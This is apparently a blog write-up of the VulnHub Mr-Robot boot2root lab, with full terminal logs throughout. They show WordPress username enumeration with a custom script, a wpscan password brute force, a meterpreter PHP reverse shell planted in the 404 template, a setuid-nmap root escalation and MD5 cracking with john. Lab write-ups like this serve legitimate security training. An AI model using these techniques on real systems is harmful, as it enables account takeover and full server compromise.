Mr-Robot 1 is a boot2root challenge based on the Mr. Robot TV series, given I'd recently completed the Gibson challenged based on Hackers it seemed only reasonable to have a go at another challenge based on hacker-culture entertainment.

root@kali:~# mkcd VulnHub/mrRobot
root@kali:~/VulnHub/mrRobot# netdiscover -pr
 Currently scanning: (passive)   |   Screen View: Unique Hosts

 1 Captured ARP Req/Rep packets, from 1 hosts.   Total size: 60
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------     08:00:27:95:a1:6b      1      60  Cadmus Computer Systems
root@kali:~/VulnHub/mrRobot# echo > ip
root@kali:~/VulnHub/mrRobot# nmap -A -T5 $(cat ip)
Starting Nmap 7.12 ( ) at 2016-06-30 20:46 BST
Nmap scan report for (
Host is up (0.00029s latency).
Not shown: 997 filtered ports
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:95:A1:6B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.1
Network Distance: 1 hop

1   0.29 ms (

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 18.18 seconds

Not a lot to go off so far, lets throw nikto at the web service and see what it comes up with.

root@kali:~/VulnHub/mrRobot# nikto -h $(cat ip)
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2016-06-30 20:54:48 (GMT1)
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ Uncommon header 'link' found, with contents: <>; rel=shortlink
+ /readme.html: This WordPress file reveals the installed version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wp-login.php: Wordpress login found
+ 7517 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2016-06-30 20:56:40 (GMT1) (112 seconds)
+ 1 host(s) tested
root@kali:~/VulnHub/mrRobot# curl $(cat ip)/robots.txt
User-agent: *
root@kali:~/VulnHub/mrRobot# wget -q $(cat ip)/fsocity.dic; wc -l fsocity.dic
858160 fsocity.dic
root@kali:~/VulnHub/mrRobot# wget -q $(cat ip)/key-1-of-3.txt; cat key-1-of-3.txt

That's more like it! The first key revealed by robots.txt, a WordPress installation to focus our attention on for round two, and what looks suspicously like a (massive!) wordlist.

The Second Key

After some poking around on the main website, I'd wasted a fair bit of time but hadn't really turned up any clues. One thing I did notice was that when I put "admin" into the lost password form, it helpfully told me that no such user existed. I couldn't find a tool for enumerating WordPress usernames from a wordlist, but writing one was a quick job.


function usage() {
    echo "USAGE: $0 <base-url> <wordlist>"

function main() {
    local base_url=$1
    local wordlist=$2
    for word in $(cat "$wordlist"); do
        if ! http --form post "${base_url}/wp-login.php?action=lostpassword" "user_login=${word}" | grep -q ERROR; then
            echo "Found valid username: ${word}"

if [ -z $2 ]; then
    main "$@"

858,160 is a pretty big wordlist, fortunately it also seems to be something of a troll

root@kali:~/VulnHub/mrRobot# sort -u fsocity.dic > fsocity.dic-uniq
root@kali:~/VulnHub/mrRobot# wc -l fsocity.dic-uniq
11451 fsocity.dic-uniq
root@kali:~/VulnHub/mrRobot# tr '[:upper:]' '[:lower:]' < fsocity.dic-uniq | sort -u > fsocity.dic-uniq-lower
root@kali:~/VulnHub/mrRobot# wc -l fsocity.dic-uniq-lower
10205 fsocity.dic-uniq-lower

11,451 after duplicates, and 10205 is we account for case insensitivity in WordPress usernames, nice try! Time to see if we can find a valid username.

root@kali:~/VulnHub/mrRobot# ./ $(cat ip) fsocity.dic-uniq-lower
Found valid username: elliot

In heindsight, I probably should've written that in Python and used some threading... I took a long time to run.

Moving on, lets try our luck cracking elliot's password using the same wordlist.

root@kali:~/VulnHub/mrRobot# wpscan --url $(cat ip) --wordlist fsocity.dic-uniq --username elliot
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 2.9.1
          Sponsored by Sucuri -
   @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_

[+] URL:
[+] Started: Thu Jun 30 22:14:34 2016

[+] robots.txt available under: ''
[!] The WordPress '' file exists exposing a version number
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED:
[+] XML-RPC Interface available under:

[+] WordPress version 4.3.4 identified from advanced fingerprinting (Released on 2016-05-06)
[!] 3 vulnerabilities identified from the version number

[!] Title: WordPress 4.2-4.5.2 - Authenticated Attachment Name Stored XSS
[i] Fixed in: 4.3.5

[!] Title: WordPress 3.6-4.5.2 - Authenticated Revision History Information Disclosure
[i] Fixed in: 4.3.5

[!] Title: WordPress 2.6.0-4.5.2 - Unauthorized Category Removal from Post
[i] Fixed in: 4.3.5

[+] Enumerating plugins from passive detection ...
[+] No plugins found
[+] Starting the password brute forcer
  [+] [SUCCESS] Login : elliot Password : ER28-0652

  Brute Forcing 'elliot' Time: 00:01:27 <=======================                        > (5631 / 11452) 49.17%  ETA: 00:01:31
  | Id | Login  | Name | Password  |
  |    | elliot |      | ER28-0652 |

[+] Finished: Thu Jun 30 22:17:26 2016
[+] Requests Done: 5675
[+] Memory used: 22.691 MB
[+] Elapsed time: 00:01:28

Nice, access to WordPress; this could be a game changer. Turning WordPress access into shell access is pretty easy and there are about a million routes. I decided to drop a reverse meterpreter shell into the 404 handler.

root@kali:~/VulnHub/mrRobot# msfvenom -p php/meterpreter/reverse_tcp > payload.php
No platform was selected, choosing Msf::Module::Platform::PHP from the payload
No Arch selected, selecting Arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 947 bytes
root@kali:~/VulnHub/mrRobot# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > run

[*] Started reverse TCP handler on
[*] Starting the payload handler...

Once I replaced 404.php with my payload.php via the WordPress admin interface, I fired off a http request to $(cat ip)/404 and...

[*] Sending stage (33721 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-06-30 21:36:46 +0100

meterpreter > sysinfo
Computer    : linux
OS          : Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64
Meterpreter : php/php
meterpreter > shell
Process 3171 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)

Shell access, this is definitely more familiar. Things are starting to look up. Looking around for setuid binaries and one particular binary stood out...

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ find / -perm +6000 2>/dev/null | grep '/bin/'

Oh dear.

Jumping the Gun

Setuid nmap is never a good idea, this could be our home run.

daemon@linux:/opt/bitnami/apps/wordpress/htdocs$ /usr/local/bin/nmap --interactive
Starting nmap V. 3.81 ( )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# id
uid=1(daemon) gid=1(daemon) euid=0(root) groups=0(root),1(daemon)
# find / -name 'key-?-of-3.txt' -exec grep -H . {} \+

All your flags.

Looking at the location of that second flag (/home/robot) and nosing around a bit further, I noticed the robot user's md5 password also in /home/robot and readable by all users. Not liking to feel like I've missed a step, lets have a crack (see what I did there?) at the password.

root@kali:~/VulnHub/mrRobot# john --wordlist=fsocity.dic-uniq --format=Raw-MD5 password.raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2016-06-30 21:41) 0g/s 1145Kp/s 1145Kc/s 1145KC/s zones..Zzydrax
Session completed
root@kali:~/VulnHub/mrRobot# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 password.raw-md5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
abcdefghijklmnopqrstuvwxyz (robot)
1g 0:00:00:00 DONE (2016-06-30 21:41) 100.0g/s 4040Kp/s 4040Kc/s 4040KC/s abygail..TERRELL
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Bingo! Another enjoyable boot2root, I must say. Keep the Movie/TV themed challenges coming!